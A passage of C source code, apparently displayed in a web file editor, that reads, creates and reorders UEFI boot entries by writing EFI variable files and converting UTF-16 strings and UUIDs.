	bootorder = (u_int16_t *) realloc(bootorder,bootorders * sizeof(u_int16_t));
	for ( i = bootorders - 1; i &gt; bootsel; i-- ){
		bootorder[i] = bootorder[i-1];
	}
	bootorder[bootsel] = newentry;
	get_boot_guid(newuid);
	debug_logger(&quot;Creating new bootentry at entry: %d, Position: %d, UID: [%s]\n&quot;,newentry,bootsel,newuid);


	sprintf(fname,&quot;%s/Boot%04X-%s&quot;,EFI_PATH,newentry,newuid);
	fd = open(fname,O_WRONLY | O_TRUNC | O_CREAT, 0644);
	if ( fd &lt; 0 ){
		debug_logger(&quot;Cannot create [%s] (%s)\n&quot;,fname,strerror(errno));
		return(-1);
	}
	offset = 0;
	buf[offset++] = 0x07;
	buf[offset++] = 0x00;
	buf[offset++] = 0x00;
	buf[offset++] = 0x00;

	buf[offset++] = 0x01;
	buf[offset++] = 0x00;

	buf[offset++] = 0x00; // Reserved
	buf[offset++] = 0x00;

	args_len = strlen(bootargs) * 2;
	buf[offset++] = (unsigned char )((args_len &gt;&gt; 0) &amp; 0xFF);
	buf[offset++] = (unsigned char )((args_len &gt;&gt; 8) &amp; 0xFF);

	debug_logger(&quot;ARGSLEN: %d, BYTE[0]: [%02X] BYTE[1]: [%02X]\n&quot;,args_len,buf[offset-2],buf[offset-1]);


	for ( i = 0; i &lt; strlen(bootlabel); i++ ){
		buf[offset++] = bootlabel[i];
		buf[offset++] = 0x00;
	}
	buf[offset++] = 0x00; // Label-End
	buf[offset++] = 0x00;

	// Create the File-Path-Entries
	//
	start_offset = offset;
	buf[offset++] = 0x04;
	buf[offset++] = 0x01;
	len_offset = offset;
	buf[offset++] = 0x00; // Length to be replaced later
	buf[offset++] = 0x00; // Length to be replaced later
			      
	buf[offset++] = (unsigned char) ef-&gt;partno;
	buf[offset++] = 0x00;

	buf[offset++] = 0x00; // Padding 2 Bytes
	buf[offset++] = 0x00;

	h64 = (u_int64_t *)&amp;buf[offset];	
	*h64 = ef-&gt;start;
	offset += 8;
		
	h64 = (u_int64_t *)&amp;buf[offset];	
	*h64 = ef-&gt;size;
	offset += 8;

	memcpy(&amp;buf[offset],ef-&gt;serial,16);
	offset += 16;
	buf[offset++] = 0x02;  // We work with UUID
	buf[offset++] = 0x02;  // We work with gpt
	offset_size = (u_int16_t)(offset - start_offset);
	buf[len_offset] = (u_int8_t) ((offset_size &gt;&gt; 0) &amp; 0xFF);
	buf[len_offset+1] = (u_int8_t) ((offset_size &gt;&gt; 8) &amp; 0xFF);

	start_offset = offset;
	buf[offset++] = 0x04;
	buf[offset++] = 0x04;
	len_offset = offset;
	buf[offset++] = 0x00; // Length to be replaced later
	buf[offset++] = 0x00; // Length to be replaced later
	
	for ( i = 0; i &lt; strlen(bootimage); i++ ){
		buf[offset++] = bootimage[i];
		buf[offset++] = 0x00;
	}
	buf[offset++] = 0x00; // Bootimage ended
	buf[offset++] = 0x00;

	offset_size = (u_int16_t)(offset - start_offset);
	buf[len_offset] = (u_int8_t) ((offset_size &gt;&gt; 0) &amp; 0xFF);
	buf[len_offset+1] = (u_int8_t) ((offset_size &gt;&gt; 8) &amp; 0xFF);

	buf[offset++] = 0x7f; // Filepath ended
	buf[offset++] = 0xff;
	buf[offset++] = 0x04;
	buf[offset++] = 0x00;

	// Now the remain starts...
	//
	for ( i = 0; i &lt; strlen(bootargs); i++ ){
		buf[offset++] = bootargs[i];
		buf[offset++] = 0x00;
	}
	if ( (retval = write(fd,buf,offset)) != offset ){
		debug_logger(&quot;Failed to write %d/%d to [%s] (%s)\n&quot;,retval,offset,fname,strerror(errno));
		close(fd);
		unlink(fname);
		return(-2);
	}	
	close(fd);	

	debug_logger(&quot;Written %d Bytes to [%s]\n&quot;,offset,fname);
	efi_write_boot_order(bootorder,bootorders);


	return(0);

}


void encode_utf16(const wchar_t *input) {
    while (*input) {
        wchar_t c = *input++;
        if (c &lt; 0x10000) {
            // BMP character
            printf(&quot;%04X &quot;, c);
        } else {
            // Supplementary character
            c -= 0x10000;
            wchar_t high_surrogate = (c &gt;&gt; 10) + 0xD800;
            wchar_t low_surrogate = (c &amp; 0x3FF) + 0xDC00;
            printf(&quot;%04X %04X &quot;, high_surrogate, low_surrogate);
        }
    }
    printf(&quot;\n&quot;);
}

size_t decode_utf16(const uint16_t *input, wchar_t *output, size_t out_size) {
    size_t out_index = 0;
    while (*input &amp;&amp; out_index &lt; out_size - 1) {
        uint16_t first = *input++;
        if (first &gt;= 0xD800 &amp;&amp; first &lt;= 0xDBFF) {
            // High surrogate
            uint16_t second = *input++;
            if (second &gt;= 0xDC00 &amp;&amp; second &lt;= 0xDFFF) {
                // Valid surrogate pair
                wchar_t decoded = 0x10000 + ((first - 0xD800) &lt;&lt; 10) + (second - 0xDC00);
                output[out_index++] = decoded;
            } else {
                // Invalid surrogate pair, handle error
                // fprintf(stderr, &quot;Error: Invalid surrogate pair.\n&quot;);
                return 0;
            }
        } else {
            // BMP character
            output[out_index++] = first;
        }
    }
    output[out_index] = L&#039;\0&#039;; // Null-terminate the output string
    return out_index;
}

int efisorter(const void *_a, const void *_b){
	struct _efivar *a;
	struct _efivar *b;
	a = (struct _efivar *)_a;
	b = (struct _efivar *)_b;

	return((a-&gt;boot_order - b-&gt;boot_order));
}

#define efi (*_efi)
int load_efi_vars(struct _efivar **_efi){
	DIR *dir;
	struct dirent *diry;
	int efis;

	efi = NULL;
	efis = 0;


	dir = opendir(EFI_PATH);
	if ( dir ){
		while ( (diry = readdir(dir)) != 0 ){
			u_int32_t attributes;
			u_int16_t fileflags;
			u_int16_t desc_raw[1024];
			int desc_raw_len;
			unsigned char dummy[1024];
			size_t newpos;
			int fd;
			char fname[1024];
			struct stat st;
			int paths;
			struct _filepath fp;
			int the_skipper;
			int offset;
			offset = 0;
			if ( strcmp(diry-&gt;d_name,&quot;.&quot;) == 0 ) continue;
			if ( strcmp(diry-&gt;d_name,&quot;..&quot;) == 0 ) continue;
			if ( strncmp(diry-&gt;d_name,&quot;Boot&quot;,4) != 0 ) continue;
			sprintf(fname,&quot;%s/%s&quot;,EFI_PATH,diry-&gt;d_name);
			if ( stat(fname,&amp;st) ) continue;
			if ( !S_ISREG(st.st_mode) ) continue;
			if ((fd = open(fname,O_RDONLY)) &lt; 0 ) continue;
			if ( read(fd,&amp;attributes,4) != 4 ){ close(fd); continue; }
			offset += 4;
			if ( !(attributes &amp; EFI_VARIABLE_NON_VOLATILE) ) continue;
			if ( !(attributes &amp; EFI_VARIABLE_BOOTSERVICE_ACCESS) ) continue;
			if ( !(attributes &amp; EFI_VARIABLE_RUNTIME_ACCESS) ) continue;
			if ( read(fd,&amp;fileflags,2) != 2 ){ close(fd); continue; } // Filepathlist-Len, but sometimes junk, so we find out by parsing
			offset += 2;
			// debug_logger(&quot;THE_SIZE:  [%02X] [%02X]\n&quot;,dummy[0], dummy[1]);									    
			// the_skipper = (int) dummy[1] + 1;
			if ( read(fd,dummy,2) != 2 ){ close(fd); continue; }
			if ( read(fd,dummy,2) != 2 ){ close(fd); continue; }


			
			efi = (struct _efivar *)realloc(efi,sizeof(struct _efivar) * (efis+1));
			bzero(&amp;efi[efis],sizeof(struct _efivar));
			efi[efis].attributes = attributes;
			efi[efis].dummy[0] = dummy[0];
			efi[efis].dummy[1] = dummy[1];
			strcpy(efi[efis].name,diry-&gt;d_name);
			if ( sscanf(diry-&gt;d_name,&quot;Boot%04x-&quot;,&amp;efi[efis].entrynr) != 1 ){
				efi[efis].entrynr = 0xFFFF;
			}
			efi[efis].size = st.st_size;
			efi[efis].fileflags = fileflags;
			if ( (efi[efis].fileflags &amp; 0xFF) == 0x09 || (efi[efis].fileflags &amp; 0xFF) == 0x01 ){
				efi[efis].active = 1;
			} else {
				efi[efis].active = 0;
			}

			desc_raw_len = 0;
			while ( read(fd,&amp;desc_raw[desc_raw_len],2) == 2 ){ // It is 16Bit Unicode...but normaly we do not use Umlaute...
				offset += 2;
				if ( desc_raw[desc_raw_len++] == 0 ) break;
			}
			efi[efis].description_len = decode_utf16(desc_raw,efi[efis].description,1024);


			// OK...we parse the file-path-list now...
			efi[efis].filepath  = NULL;
			efi[efis].filepaths = 0;
			while ( read(fd,&amp;fp,4) == 4 ){
				offset += 4; 
				fp.length -= 4;
				if ( fp.length  ){
					fp.data = (unsigned char *)malloc(fp.length);
					offset += fp.length;
					if ( read(fd,fp.data,fp.length) != fp.length ) fp.length *= -1;
				} else {
					fp.data = NULL;
				}
				if ( fp.type == 0x04 ){
					struct _mdp mdp;
					if ( efi[efis].mdp ){
						memcpy(&amp;mdp,efi[efis].mdp,sizeof(struct _mdp));
					} else {
						bzero(&amp;mdp,sizeof(struct _mdp));
					}
					if ( fp.subtype == 0x04 ){
						memcpy(mdp.file_path,fp.data,fp.length);
					}
					if ( fp.subtype == 0x01 ){
						char hexdump2[1024];
						int the_offset; 
						the_offset = 0;
						mdp.partnumber = fp.data[the_offset]; the_offset += 2;
						the_offset += 2; // Skip padding...
						mdp.starting_lba  =  (*((u_int64_t *)&amp;fp.data[the_offset])); the_offset += 8;
						mdp.partition_size = (*((u_int64_t *)&amp;fp.data[the_offset])); the_offset += 8;
						memcpy(mdp.signature,&amp;fp.data[the_offset],16); the_offset += 16;
						mdp.mbr_type[0] = fp.data[the_offset++];
						mdp.signature_type[0] = fp.data[the_offset++];
					}
					efi[efis].mdp = (struct _mdp *)malloc(sizeof(struct _mdp));
					memcpy(efi[efis].mdp,&amp;mdp,sizeof(struct _mdp));
				}
				efi[efis].filepath = (struct _filepath *)realloc(efi[efis].filepath,sizeof(struct _filepath) * (efi[efis].filepaths + 1));
				memcpy(&amp;efi[efis].filepath[efi[efis].filepaths],&amp;fp,sizeof(struct _filepath));
				if ( efi[efis].filepath[efi[efis].filepaths].type == 127 ) break;
				efi[efis].filepaths++;
			}
			efi[efis].remain = st.st_size - offset;
			if ( efi[efis].remain &gt; 0 ){
				efi[efis].remain_data = (unsigned char *)malloc(efi[efis].remain + 2);
				bzero(efi[efis].remain_data, efi[efis].remain + 2);
				read(fd,efi[efis].remain_data,efi[efis].remain);
			} else {
				efi[efis].remain_data = NULL;
			}
			close(fd);
			if ( strncmp(diry-&gt;d_name,&quot;BootOrder&quot;,9) == 0 ){ 
				u_int16_t boot;
				int ii;
				fd = open(fname,O_RDONLY);
				read(fd,dummy,4); // Read attributes 
				efi[efis].bootorders = 0;
				efi[efis].bootorder = NULL;
				while ( read(fd,&amp;boot,2) == 2 ){
					efi[efis].bootorder = (u_int16_t *)realloc(efi[efis].bootorder,sizeof(u_int16_t) * (efi[efis].bootorders + 1));
					efi[efis].bootorder[efi[efis].bootorders] = boot;
					efi[efis].bootorders++;
				}
				close(fd);
				if ( efis ){
					for ( ii = 0; ii &lt; efis; ii++ ){
						efi[ii].bootorder = efi[efis].bootorder;
						efi[ii].bootorders = efi[efis].bootorders;
					}
				}
			}
			if ( efi[0].bootorder &amp;&amp; efis ){
				efi[efis].bootorder = efi[0].bootorder;
				efi[efis].bootorders = efi[0].bootorders;
			}
			efis++;
		}
	}	
	{
		int i,j;
		for ( i = 0; i &lt; efis; i++ ){
			int j; 
			if ( efi[i].entrynr == 0xFFFF ) continue;
			for ( j = 0; j &lt; efi-&gt;bootorders; j++ ){
				if ( efi-&gt;bootorder[j] == efi[i].entrynr ){ efi[i].boot_order = j; break; }
			}

	}
	}
	qsort(efi,efis,sizeof(struct _efivar),efisorter);
	return(efis);
}
#undef efi


void get_boot_guid(char *bootguid){
	DIR *dir;
	struct dirent *diry;
	dir = opendir(EFI_PATH);
	while ( (diry = readdir(dir)) != NULL ){
		if ( strncmp(diry-&gt;d_name,&quot;BootOrder-&quot;,10) == 0 ) { 
			strcpy(bootguid,&amp;diry-&gt;d_name[10]);
			break;
		}
	}
	closedir(dir);
	return;
}

void efi_write_boot_order_file(char *fname, u_int16_t *bootorder, int bootorders){
	int fd,i;
	unsigned char what_to_write[8192];
	int written;
	int offset;
	offset = 0;
	what_to_write[offset++] = 0x07;
	what_to_write[offset++] = 0x00;
	what_to_write[offset++] = 0x00;
	what_to_write[offset++] = 0x00;
	for ( i = 0; i &lt; bootorders; i++ ){
		what_to_write[offset++] = (unsigned char)((bootorder[i] &gt;&gt; 0) &amp; 0xFF);
		what_to_write[offset++] = (unsigned char)((bootorder[i] &gt;&gt; 8) &amp; 0xFF);
	}
	debug_logger(&quot;Writing Boot-order (%d entries) to [%s] (%d Bytes, %d entries)\n&quot;,bootorders,fname,offset,bootorders);
	fd = open(fname,O_WRONLY | O_TRUNC);
	if ( fd &lt; 0 ){
		debug_logger(&quot;Open for writing of [%s] failed [%s]\n&quot;,fname,strerror(errno));
		return;
	}
	if ( (written = write(fd,what_to_write,offset)) != offset ){
		debug_logger(&quot;Failed to write (%d/%d) to [%s]\n&quot;,written,offset,strerror(errno));
		return;
	}
	close(fd);
	return;
}

void efi_write_boot_order(u_int16_t *bootorder, int bootorders){
	DIR *dir;
	struct dirent *diry;
	dir = opendir(EFI_PATH);
	if ( dir == NULL ) return;
	while ( (diry = readdir(dir)) != NULL ){
		if ( strncmp(diry-&gt;d_name,&quot;BootOrder-&quot;,10) == 0 ) { 
			char fname[1024];
			sprintf(fname,&quot;%s/%s&quot;,EFI_PATH,diry-&gt;d_name);
			efi_write_boot_order_file(fname,bootorder, bootorders);
			break;
		}
	}
	closedir(dir);
	return;
}




void uuid_to_serial(char *uuid, unsigned char *serial){
	unsigned char hlp[3];
	unsigned int digit;
	int offset;
	offset = 0;

	bzero(serial,16);

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[3] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[2] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[1] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[0] = (unsigned char)digit;
	offset += 3;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[5] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[4] = (unsigned char)digit;
	offset += 3;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[7] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[6] = (unsigned char)digit;
	offset += 3;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[8] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[9] = (unsigned char)digit;
	offset += 3;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[10] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[11] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[12] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[13] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[14] = (unsigned char)digit;
	offset += 2;

	strncpy(hlp,&amp;uuid[offset],2);
	sscanf(hlp,&quot;%02x&quot;,&amp;digit);
	serial[15] = (unsigned char)digit;
	offset += 2;


}

u_int64_t swap_bytes(u_int64_t value) {
    return ((value &amp; 0x00000000000000FFULL) &lt;&lt; 56) |
           ((value &amp; 0x000000000000FF00ULL) &lt;&lt; 40) |
           ((value &amp; 0x0000000000FF0000ULL) &lt;&lt; 24) |
           ((value &amp; 0x00000000FF000000ULL) &lt;&lt; 8) |
           ((value &amp; 0x000000FF00000000ULL) &gt;&gt; 8) |
           ((value &amp; 0x0000FF0000000000ULL) &gt;&gt; 24) |
           ((value &amp; 0x00FF000000000000ULL) &gt;&gt; 40) |
           ((value &amp; 0xFF00000000000000ULL) &gt;&gt; 56);
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FGIX_SETUP%2Fsrc'>🔙 Back</a></p>